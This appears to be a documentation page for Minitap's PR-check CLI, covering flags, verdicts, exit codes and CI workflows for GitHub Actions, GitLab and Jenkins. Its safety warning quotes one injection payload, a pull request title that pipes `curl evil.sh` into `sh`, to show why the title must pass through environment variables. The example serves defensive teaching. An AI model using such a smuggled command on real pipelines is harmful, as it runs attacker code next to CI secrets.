> ## Documentation Index
> Fetch the complete documentation index at: https://www.minitap.ai/docs/llms.txt
> Use this file to discover all available pages before exploring further.

# PR check from CI

> Send a pull request's description, ticket and builds from your pipeline, and Mini tests the change on iOS and Android and returns a verdict, with no access to your code.

A PR check from CI tests one pull request from what your pipeline sends: its title, its description and ticket, the images you attach, and the builds you already make. Mini works out what to check, tries the change on iOS and Android with a recording of each, and answers with a verdict your job can fail on. Minitap never reads your code, so it fits teams whose CI uploads builds but who haven't connected their repository. If Minitap is installed on your GitHub organization, the [pull request comment and check](https://www.minitap.ai/docs/minitest/runs/pull-request-checks.md) may be all you need.

```bash theme={"theme":{"light":"github-light","dark":"vesper"}}
minitest-cli pr check \
  --pr 1482 \
  --title "$PR_TITLE" \
  --context-file pr.md \
  --ios-build build/MyApp-simulator.ipa \
  --android-build build/app-release.aab \
  --report-file pr-check.md
```

The command prints the link to the report first, follows the check live, and exits with a code that says whether the pull request is ready.

## How a check goes

**1. Your CI sends the pull request**

The command uploads the builds you pass, sends the text and images, and prints the report link. One check exists per app and pull request: sending the same pull request again adds a new push to it.

**2. Mini plans the checks**

In a minute or two, Mini reads your text and images next to what it already knows: the scenarios of your suite, the app's [Memory](https://www.minitap.ai/docs/minitest/setup/knowledge.md), your [test accounts](https://www.minitap.ai/docs/minitest/setup/test-accounts.md) and the open [Issues](https://www.minitap.ai/docs/minitest/triage/issues.md). It writes a plan in two groups: **The change**, at least one check per behavior the pull request describes, and **Impact**, a few checks on what the change could break, each saying why. Every check has concrete steps and the outcome Mini expects.

**3. Mini tries the change on each platform**

With both builds, iOS and Android run at the same time, each on its own device with its own recording. Every check gets a verdict per platform, what Mini expected, what it saw, and the moment in the recording. This part takes about 20 minutes.

**4. The verdict ends the job**

The command prints the verdict, writes the report and exits. Your CI doesn't wait for anything else.

**5. Mini prepares the suite changes**

After the verdict, Mini drafts the scenario changes this pull request calls for and holds them until you say whether it merged. See [When the pull request merges or closes](#when-the-pull-request-merges-or-closes).

## Before you start

| You need | Where to get it |
| - | - |
| A workspace API key | **Settings → API keys → Create API key**. Store it as a secret named `MINITEST_API_KEY`. See [API keys](https://www.minitap.ai/docs/minitest/workspace/api-keys.md). |
| Your app ID | The part after `/apps/` in the dashboard URL. Set it as `MINITEST_APP_ID`, or pass `--app <app-id>` before `pr`. |
| The CLI on the runner | `uv tool install minitest-cli`. Call it as `minitest-cli` in scripts: a runner with Ruby can have another `minitest` command. |
| Builds of the pull request | An iOS simulator build (`.ipa` or `.app.zip` for "Any iOS Simulator Device") and an Android `.aab` or `.apk`. See [Upload a build](https://www.minitap.ai/docs/minitest/setup/upload-a-build.md). |

One platform is enough. With only an Android build, Mini tests Android and the report shows no iOS column, rather than a failed one.

## `minitest pr check`

| Flag | Description |
| - | - |
| `--pr <number>` | The pull request number. Required. Same app and number, same check. |
| `--title <text>` | The pull request title. Start it with the ticket key, like `SHOP-231`, and the report shows it next to the number. |
| `--context-file <file>` | The description and the ticket, as text or Markdown. `-` reads it from stdin. Up to 10,000 characters. |
| `--commits-file <file>` | Optional. One commit message per line. On a new push, Mini re-checks the areas they name. |
| `--attach <pattern>` | Optional and repeatable. Files to show Mini, like mockups or a spec. Takes a glob in quotes: `--attach 'mockups/*'`. |
| `--ios-build <file or id>`, `--android-build <file or id>` | A build file to upload, or the ID of a build you already uploaded. At least one is required. |
| `--full` | Re-run every check on this push instead of carrying results over. See [A new push](#a-new-push). |
| `--report-file <file>` | Write the Markdown report there when the check ends. |
| `--fail-on <critical\|warning>` | What fails the job. `critical` by default; `warning` makes a warning fail it too. |
| `--no-wait` | Print the check ID and the report link, then exit 0 without waiting. |
| `--json` | Print the check's events as NDJSON, one JSON object per line, for a script to read. |
| `--timeout <seconds>` | Stop waiting after that long, with exit code 3. No limit by default. |

### What Mini reads

* **The context file** is what Mini tests against, so put the ticket's acceptance criteria in it, not only the description. A file over 10,000 characters is refused with an error and nothing is sent: shorten it yourself and keep the criteria.
* **Attachments** can be `png`, `jpg`, `gif`, `webp` or `pdf`, up to 10 MB each. Any other file, or a larger one, is skipped with a warning and the check goes on. Mini uses a mockup to know what the screen should look like.
* **Commits** are optional. They help Mini pick what to re-check on a later push.

The command doesn't give up on a dropped connection: it reconnects and picks up where it was, and prints a line at least every minute so your CI doesn't think it hung. Colors are off when the output isn't a terminal.

## Verdicts and exit codes

| Verdict | When | Exit code |
| - | - | - |
| `ready` | Every check passed. | `0` |
| `ready_with_warnings` | Nothing critical, at least one warning. | `0`, or `1` with `--fail-on warning` |
| `not_ready` | At least one check is critical, or errored on every platform. | `1` |
| `needs_answer` | Mini has a question it needs answered to grade a check. | `2` |
| `errored` | Nothing could be tested because of a problem on our side, the input was refused (no build, a rejected API key, a context too long), or `--timeout` was reached. | `3` |

When `--timeout` is reached, the check itself keeps running: open the report, or run `minitest-cli pr wait <pr>` to get the final code.

Each check has its own verdict on each platform:

| Check verdict | Meaning | Counts toward the verdict |
| - | - | - |
| **Passed** | Mini saw what was expected. | Yes |
| **Warning** | It works, with something off, like a label that doesn't match or a layout that hides part of the screen. | Yes |
| **Critical** | The behavior is missing or broken on that platform. The report says what Mini saw instead. | Yes |
| **Known issue** | The problem matches an Issue that is already open. The report links it. | No |
| **Not tested** | Mini couldn't test this check on this build, for example a feature the devices don't have. | No |

A question doesn't hold up the rest: Mini goes on with the other checks and marks the unclear one as waiting for an answer. Answer it in the check's draft, from **Open the session** on the report. On the next push, Mini re-tests that check first, with your answer.

A device problem on our side marks that platform's checks as errored, never as passed. If nothing could be tested at all, the verdict is `errored`.

## On GitHub Actions

Use this workflow when your code is on GitHub but Minitap isn't installed on the organization. It builds the app, writes the pull request text to a file, and runs the check.

```yaml .github/workflows/minitap-pr-check.yml theme={"theme":{"light":"github-light","dark":"vesper"}}
name: Minitap PR check

on:
  pull_request:
    types: [opened, synchronize, reopened]

jobs:
  pr-check:
    runs-on: macos-latest
    timeout-minutes: 45
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0   # for the commit messages

      # Your build steps, producing the two files below
      - run: ./scripts/build-for-minitap.sh

      - uses: astral-sh/setup-uv@v6
      - run: uv tool install minitest-cli

      - name: Write the pull request text to files
        env:
          PR_BODY: ${{ github.event.pull_request.body }}
          BASE_SHA: ${{ github.event.pull_request.base.sha }}
        run: |
          printf '%s\n' "$PR_BODY" > pr.md
          git log --format=%s "$BASE_SHA..HEAD" > commits.txt

      - name: Minitap PR check
        env:
          MINITEST_API_KEY: ${{ secrets.MINITEST_API_KEY }}
          MINITEST_APP_ID: ${{ vars.MINITEST_APP_ID }}
          PR_NUMBER: ${{ github.event.pull_request.number }}
          PR_TITLE: ${{ github.event.pull_request.title }}
        run: |
          minitest-cli pr check \
            --pr "$PR_NUMBER" \
            --title "$PR_TITLE" \
            --context-file pr.md \
            --commits-file commits.txt \
            --attach 'docs/mockups/*.png' \
            --ios-build build/MyApp-simulator.ipa \
            --android-build build/app-release.aab \
            --report-file pr-check.md

      - uses: actions/upload-artifact@v4
        if: always()
        with:
          name: minitap-pr-check
          path: pr-check.md
```

On GitHub Actions the command adds a few things on its own: a collapsible log group per phase (`::group::`), an error annotation per critical check (`::error::`), and the Markdown report on the job's summary page (`$GITHUB_STEP_SUMMARY`).

Keep `timeout-minutes` well above the length of a check. Mini needs about 20 minutes to try the change, plus the build upload.

## Pass the pull request text safely

Anyone who opens a pull request writes its title and description. Treat both as untrusted input: they must reach the CLI as data, never as part of a command.

> [!WARNING]
>
> Never write `${{ github.event.pull_request.title }}` or `${{ github.event.pull_request.body }}` inside a `run:` script. GitHub pastes the text into the script before the shell reads it, so a title like `"; curl evil.sh | sh; "` runs on your runner, next to your API key.

Three rules cover every CI:

1. **Pass the fields through environment variables.** On GitHub Actions, map them in `env:` as in the workflow above; the shell then reads them as plain values.
2. **Write long text to a file** and give the file to the CLI: `printf '%s\n' "$PR_BODY" > pr.md`. `printf '%s'` writes the text as it is, where `echo` may read backslashes and leading dashes.
3. **Quote every variable**: `--title "$PR_TITLE"`, never `--title $PR_TITLE`.

The same goes for other fields the author controls, such as the branch name and commit messages. Jenkins has its own version of the trap: in a `sh "…${env.CHANGE_TITLE}…"` step with double quotes, Groovy pastes the title in before the shell runs. Use single quotes so the shell reads `$CHANGE_TITLE` itself, as in the Jenkins example below.

## Any other CI

Commit this script as `ci/pr-check.sh`. It reads everything from environment variables, so each CI only maps its own names to them.

```bash ci/pr-check.sh theme={"theme":{"light":"github-light","dark":"vesper"}}
#!/usr/bin/env bash
# Send a pull request to Minitap and fail the job when it isn't ready.
# Needs MINITEST_API_KEY (secret), MINITEST_APP_ID, PR_NUMBER, PR_TITLE,
# IOS_BUILD and/or ANDROID_BUILD. PR_DESCRIPTION and PR_BASE_SHA are optional.
set -euo pipefail

# The description and ticket: from PR_DESCRIPTION, or a pr.md an earlier step wrote
if [ -n "${PR_DESCRIPTION:-}" ]; then
  printf '%s\n' "$PR_DESCRIPTION" > pr.md
fi

args=(--pr "$PR_NUMBER" --title "$PR_TITLE" --context-file pr.md --report-file pr-check.md)
if [ -n "${IOS_BUILD:-}" ]; then
  args+=(--ios-build "$IOS_BUILD")
fi
if [ -n "${ANDROID_BUILD:-}" ]; then
  args+=(--android-build "$ANDROID_BUILD")
fi
if [ -n "${PR_BASE_SHA:-}" ]; then
  git log --format=%s "$PR_BASE_SHA..HEAD" > commits.txt
  args+=(--commits-file commits.txt)
fi
if [ -d pr-assets ]; then
  args+=(--attach 'pr-assets/*')
fi

set +e
minitest-cli pr check "${args[@]}"
code=$?
set -e

case "$code" in
  0) echo "Minitap: ready to merge" ;;
  1) echo "Minitap: not ready, see pr-check.md" >&2 ;;
  2) echo "Minitap: Mini has a question, answer it from the report" >&2 ;;
  *) echo "Minitap: the check didn't finish (exit $code)" >&2 ;;
esac
exit "$code"
```

> [tab] GitLab CI
>
> Add `MINITEST_API_KEY` as a masked variable in **Settings → CI/CD → Variables**. The job runs on merge request pipelines, and the shell reads GitLab's variables at run time.
>
> ```yaml .gitlab-ci.yml theme={"theme":{"light":"github-light","dark":"vesper"}}
> minitap-pr-check:
>   stage: test
>   timeout: 45m
>   rules:
>     - if: $CI_PIPELINE_SOURCE == "merge_request_event"
>   variables:
>     MINITEST_APP_ID: "your-app-id"
>     IOS_BUILD: build/MyApp-simulator.ipa
>     ANDROID_BUILD: build/app-release.aab
>   script:
>     - export PR_NUMBER="$CI_MERGE_REQUEST_IID"
>     - export PR_TITLE="$CI_MERGE_REQUEST_TITLE"
>     - export PR_DESCRIPTION="$CI_MERGE_REQUEST_DESCRIPTION"
>     - export PR_BASE_SHA="$CI_MERGE_REQUEST_DIFF_BASE_SHA"
>     - bash ci/pr-check.sh
>   artifacts:
>     when: always
>     paths:
>       - pr-check.md
> ```

> [tab] Jenkins
>
> Store the key as a **Secret text** credential, here `minitest-api-key`. Jenkins gives the pull request number and title but not its description, so an earlier step writes `pr.md`, for example from the ticket.
>
> ```groovy Jenkinsfile theme={"theme":{"light":"github-light","dark":"vesper"}}
> pipeline {
>   agent any
>   options {
>     timeout(time: 45, unit: 'MINUTES')
>   }
>   environment {
>     MINITEST_API_KEY = credentials('minitest-api-key')
>     MINITEST_APP_ID  = 'your-app-id'
>     IOS_BUILD        = 'build/MyApp-simulator.ipa'
>     ANDROID_BUILD    = 'build/app-release.aab'
>   }
>   stages {
>     stage('Minitap PR check') {
>       when { changeRequest() }
>       steps {
>         // Single quotes: the shell reads the fields, Groovy never pastes them in
>         sh '''
>           export PR_NUMBER="$CHANGE_ID"
>           export PR_TITLE="$CHANGE_TITLE"
>           bash ci/pr-check.sh
>         '''
>       }
>     }
>   }
>   post {
>     always {
>       archiveArtifacts artifacts: 'pr-check.md', allowEmptyArchive: true
>     }
>   }
> }
> ```

## A new push

Run the same command on every push. The pull request keeps one check and one report, and each push is added to it. If the previous push is still being checked, it's cancelled.

Mini doesn't start from scratch:

1. Checks that were critical, had a warning or waited for an answer are re-tested first.
2. Checks in the areas the new commits name, or that the changed description touches, are re-tested too, and new criteria get new checks.
3. The rest keep their result from the earlier push.

The report tags each check with what happened: **Fixed in** a commit, **Still failing**, **Re-checked in** a commit, or **From** the push it was carried over from. Add `--full` to re-run every check on this push.

## When the pull request merges or closes

After the verdict, Mini drafts the suite changes the pull request calls for: scenarios to edit, new scenarios, scenarios to delete. Each change links to its proof, the check and the moment in the recording, and Mini checks it once on a device. A new push updates these changes instead of adding new ones.

Nothing reaches your suite until your CI says how the pull request ended:

| Your CI runs | What happens |
| - | - |
| `minitest-cli pr merged <pr>` | The edits and new scenarios are applied to the suite. Deletions wait for someone on your team to approve them on the [Workbench](https://www.minitap.ai/docs/minitest/suite/workbench.md). |
| `minitest-cli pr closed <pr>` | The draft is discarded and the suite stays as it was. |

Run them from the pipeline that runs on merge, and from whatever your CI does when a pull request is declined. None of this holds up the check job, which ended with the verdict.

## The report

The link the command prints first opens the full report in the dashboard:

```text theme={"theme":{"light":"github-light","dark":"vesper"}}
https://app.minitap.ai/t/<workspace>/apps/<app-id>/test/pr-checks/<pr>
```

It shows the verdict, the title with the pull request number and ticket key, and a menu to switch between pushes, listed by short commit SHA with the latest first. Pick a platform to see its build version and verdict. The checks are on the left, grouped into **The change** and **Impact**; the recording stays on the right, and clicking a check jumps to the moment it was tested. A **Known issue** opens the matching Issue. **Copy link** copies the address to share with QA or the author, and **Open the session** opens the draft, which becomes **Review N suite changes** once Mini has prepared them. The page updates live while the check runs.

The same report is in the check's draft on the **Workbench**, on the **PR report** tab next to **Device**, with **Open full report** to get to the page. Its **Suite changes** tab lists the scenario edits Mini proposes, each with a link to the moment of the recording it is based on.

The Markdown report from `--report-file` puts the verdict first, then a table of checks by platform, details for each check that didn't pass with links into the recording, and the report link last.

| Command | What it does |
| - | - |
| `pr wait <pr>` | Follow a check started with `--no-wait` to its verdict, with the same exit codes. |
| `pr report <pr>` | Print the Markdown report of the latest push. `--push <n>` prints an earlier one. |
| `pr merged <pr>`, `pr closed <pr>` | Tell Minitap how the pull request ended. See [above](#when-the-pull-request-merges-or-closes). |

## Set up for a team without GitHub access

This walkthrough fits a team whose code lives outside Minitap's reach, with tickets in Jira and a CI like Bitrise or Jenkins that already builds both apps for each pull request.

**1. Store the API key**

Create a workspace API key in **Settings → API keys** and store it as a secret in your CI, named `MINITEST_API_KEY`. Add `MINITEST_APP_ID` next to it.

**2. Build both apps for the pull request**

Have the pull request pipeline make an iOS simulator `.ipa` and an Android `.apk` (or `.aab`) from the pull request's commit. Mini tests exactly what you upload.

**3. Put the ticket key in the title**

Start the pull request title with the Jira key, like `SHOP-231 Resume playback where the listener left off`. The report shows the key, and your QA team can find the check from the ticket.

**4. Write the context file**

Write the description and the ticket's acceptance criteria to `pr.md`, as in the example below. Numbered criteria give the clearest plan: Mini writes at least one check for each.

**5. Attach the mockups**

Export the design frames for the change as PNG files into a folder, here `pr-assets/`, and the script attaches them. Mini compares the screens it reaches with them.

**6. Add the check step**

Commit [`ci/pr-check.sh`](#any-other-ci) and call it after the build step, with the pull request number and title mapped to `PR_NUMBER` and `PR_TITLE` and the build paths to `IOS_BUILD` and `ANDROID_BUILD`. Follow [the safety rules](#pass-the-pull-request-text-safely) for the title and description.

**7. Report merges and declines**

In the pipeline that runs after a merge, call `minitest-cli pr merged <pr>`. When a pull request is declined, call `minitest-cli pr closed <pr>`.

**8. Try it on one pull request**

Open the report link from the job log. Check that the plan covers each criterion, then watch a check or two in the recording before you let the job block merges.

A context file for that pull request:

```text pr.md theme={"theme":{"light":"github-light","dark":"vesper"}}
When a listener leaves a playing episode and comes back, playback resumes
where they stopped instead of at the start. The mini player shows the
episode title and the time remaining.

SHOP-231 Resume playback where the listener left off

Acceptance criteria:
1. Reopening an episode resumes at the position it was left at.
2. A new episode starts from the beginning.
3. The mini player shows the episode title and the time remaining.
4. Playback stops when the listener signs out.
```

## Next steps

> [card] [Run in CI](https://www.minitap.ai/docs/minitest/runs/ci.md)
>
> Run the whole suite from your pipeline and gate a release on it.

> [card] [API keys](https://www.minitap.ai/docs/minitest/workspace/api-keys.md)
>
> Create and revoke the keys your CI signs in with.

> [card] [Workbench](https://www.minitap.ai/docs/minitest/suite/workbench.md)
>
> Where the suite changes from a check wait for review.

> [card] [Issues](https://www.minitap.ai/docs/minitest/triage/issues.md)
>
> The open Issues a check marks as known.


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.